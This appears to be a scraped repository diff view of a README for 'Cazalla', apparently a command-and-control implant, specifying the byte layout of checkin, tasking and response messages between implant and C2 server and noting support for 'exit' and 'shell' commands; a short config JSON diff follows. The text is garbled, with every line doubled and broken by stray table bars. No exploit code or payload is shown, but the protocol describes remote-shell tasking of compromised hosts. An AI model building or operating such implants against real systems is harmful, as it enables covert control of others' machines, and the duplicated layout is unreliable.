| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|---------------|-------------------|-------------|
|
|---------------|-------------------|-------------|
|
||||||
| UUID | 36 | Str (char*) |
|
| UUID | 36 | Str (char*) |
|
||||||
| Size IP | 4 | Uint32 |
|
| Size IP | 4 | Uint32 |
|
||||||
| IP | Size IP | Str (char*) |
|
| IP | Size IP | Str (char*) |
|
||||||
| Size OS | 4 | Uint32 |
|
| Size OS | 4 | Uint32 |
|
||||||
| OS | Size OS | Str (char*) |
|
| OS | Size OS | Str (char*) |
|
||||||
| Architecture | 1 | Int |
|
| Architecture | 1 | Int |
|
||||||
| Size Hostname | 4 | Uint32 |
|
| Size Hostname | 4 | Uint32 |
|
||||||
| HostName | Size Hostname | Str (char*) |
|
| HostName | Size Hostname | Str (char*) |
|
||||||
| Size Username | 4 | Uint32 |
|
| Size Username | 4 | Uint32 |
|
||||||
| Username | Size Username | Str (char*) |
|
| Username | Size Username | Str (char*) |
|
||||||
| Size Domain | 4 | Uint32 |
|
| Size Domain | 4 | Uint32 |
|
||||||
| Domain | Size Domain | Str (char*) |
|
| Domain | Size Domain | Str (char*) |
|
||||||
| PID | 4 | Uint32 |
|
| PID | 4 | Uint32 |
|
||||||
| Size Process | 4 | Uint32 |
|
| Size Process | 4 | Uint32 |
|
||||||
| Process Name | Size Process Name | Str (char*) |
|
| Process Name | Size Process Name | Str (char*) |
|
||||||
| Size ExternIP | 4 | Uint32 |
|
| Size ExternIP | 4 | Uint32 |
|
||||||
| Extern IP | Size Extern IP | Str (char*) |
|
| Extern IP | Size Extern IP | Str (char*) |
|
||||||
|
|
||||||
### Checkin - C2 to Implant
|
### Checkin - C2 to Implant
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|----------|-------------------|-------------|
|
|----------|-------------------|-------------|
|
||||||
| New UUID | 36 | Str (char*) |
|
| New UUID | 36 | Str (char*) |
|
||||||
| Status | 1 | Byte |
|
| Status | 1 | Byte |
|
||||||
|
|
||||||
### GetTasking - Implant to C2
|
### GetTasking - Implant to C2
|
||||||
|
|
||||||
Expected:
|
Expected:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"action": "get_tasking",
|
"action": "get_tasking",
|
||||||
"tasking_size": 1
|
"tasking_size": 1
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|---------------|-------------------|-------------|
|
|---------------|-------------------|-------------|
|
||||||
| Number tasks | 4 | Uint32 |
|
| Number tasks | 4 | Uint32 |
|
||||||
|
|
||||||
### GetTasking - C2 to Implant
|
### GetTasking - C2 to Implant
|
||||||
|
|
||||||
Expected:
|
Expected:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"action": "get_tasking",
|
"action": "get_tasking",
|
||||||
"tasks": [
|
"tasks": [
|
||||||
{
|
{
|
||||||
"command": "command name",
|
"command": "command name",
|
||||||
"parameters": "command param string",
|
"parameters": "command param string",
|
||||||
"timestamp": 1578706611.324671,
|
"timestamp": 1578706611.324671,
|
||||||
"id": "task uuid"
|
"id": "task uuid"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|---------------|-------------------|-------------|
|
|---------------|-------------------|-------------|
|
||||||
| NumberOfTasks | 4 | Uint32 |
|
| NumberOfTasks | 4 | Uint32 |
|
||||||
| Size Of Task1 | 4 | Uint32 |
|
| Size Of Task1 | 4 | Uint32 |
|
||||||
| Task1 CMD | 1 | Int |
|
| Task1 CMD | 1 | Int |
|
||||||
| Task1 UUID | 36 | Str (char*) |
|
| Task1 UUID | 36 | Str (char*) |
|
||||||
| Task1 LenPara1| 4 | Uint32 |
|
| Task1 LenPara1| 4 | Uint32 |
|
||||||
| Task1 Param1 | LenParam1 Task1 | Str(char*) |
|
| Task1 Param1 | LenParam1 Task1 | Str(char*) |
|
||||||
|
|
||||||
### Post Response Header - Implant to C2
|
### Post Response Header - Implant to C2
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|---------------|-------------------|-------------|
|
|---------------|-------------------|-------------|
|
||||||
| Number Resp | 4 | Uint32 |
|
| Number Resp | 4 | Uint32 |
|
||||||
|
|
||||||
### Post Response Header - C2 to Implant
|
### Post Response Header - C2 to Implant
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|---------------|-------------------|-------------|
|
|---------------|-------------------|-------------|
|
||||||
| Number Resp | 4 | Uint32 |
|
| Number Resp | 4 | Uint32 |
|
||||||
|
|
||||||
### Post Response Classic Output Return - Implant to C2
|
### Post Response Classic Output Return - Implant to C2
|
||||||
|
|
||||||
Expected:
|
Expected:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"action": "post_response",
|
"action": "post_response",
|
||||||
"responses": [
|
"responses": [
|
||||||
{
|
{
|
||||||
"task_id": "uuid of task",
|
"task_id": "uuid of task",
|
||||||
... response message
|
... response message
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|---------------|-------------------|-------------|
|
|---------------|-------------------|-------------|
|
||||||
| UUID Resp 1 | 36 | Str (char*) |
|
| UUID Resp 1 | 36 | Str (char*) |
|
||||||
| Size Output R1| 4 | Uint32 |
|
| Size Output R1| 4 | Uint32 |
|
||||||
| Output R1 | Size Output | Bytes |
|
| Output R1 | Size Output | Bytes |
|
||||||
| Status R1 | 1 | Int |
|
| Status R1 | 1 | Int |
|
||||||
|
|
||||||
### Post Response Classic Output Return - C2 to Implant
|
### Post Response Classic Output Return - C2 to Implant
|
||||||
|
|
||||||
Expected:
|
Expected:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"action": "post_response",
|
"action": "post_response",
|
||||||
"responses": [
|
"responses": [
|
||||||
{
|
{
|
||||||
"task_id": UUID,
|
"task_id": UUID,
|
||||||
"status": "success" or "error",
|
"status": "success" or "error",
|
||||||
"error": "error message if it exists"
|
"error": "error message if it exists"
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|---------------|-------------------|-------------|
|
|---------------|-------------------|-------------|
|
||||||
| Status Resp1 | 1 | Int |
|
| Status Resp1 | 1 | Int |
|
||||||
|
|
||||||
## Future Development
|
## Future Development
|
||||||
|
|
||||||
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
|
This is an initial version of Cazalla with limited functionality. Currently, it only supports the `exit` and `shell` commands. Future updates will introduce additional commands and improvements to enhance its capabilities.
|
||||||
|
|
||||||
|
|||||||
+7
-7
@@ -1,7 +1,7 @@
|
|||||||
{
|
{
|
||||||
"exclude_payload_type": false,
|
"exclude_payload_type": false,
|
||||||
"exclude_c2_profiles": true,
|
"exclude_c2_profiles": true,
|
||||||
"exclude_documentation_payload": true,
|
"exclude_documentation_payload": true,
|
||||||
"exclude_documentation_c2": true,
|
"exclude_documentation_c2": true,
|
||||||
"exclude_agent_icons": false
|
"exclude_agent_icons": false
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user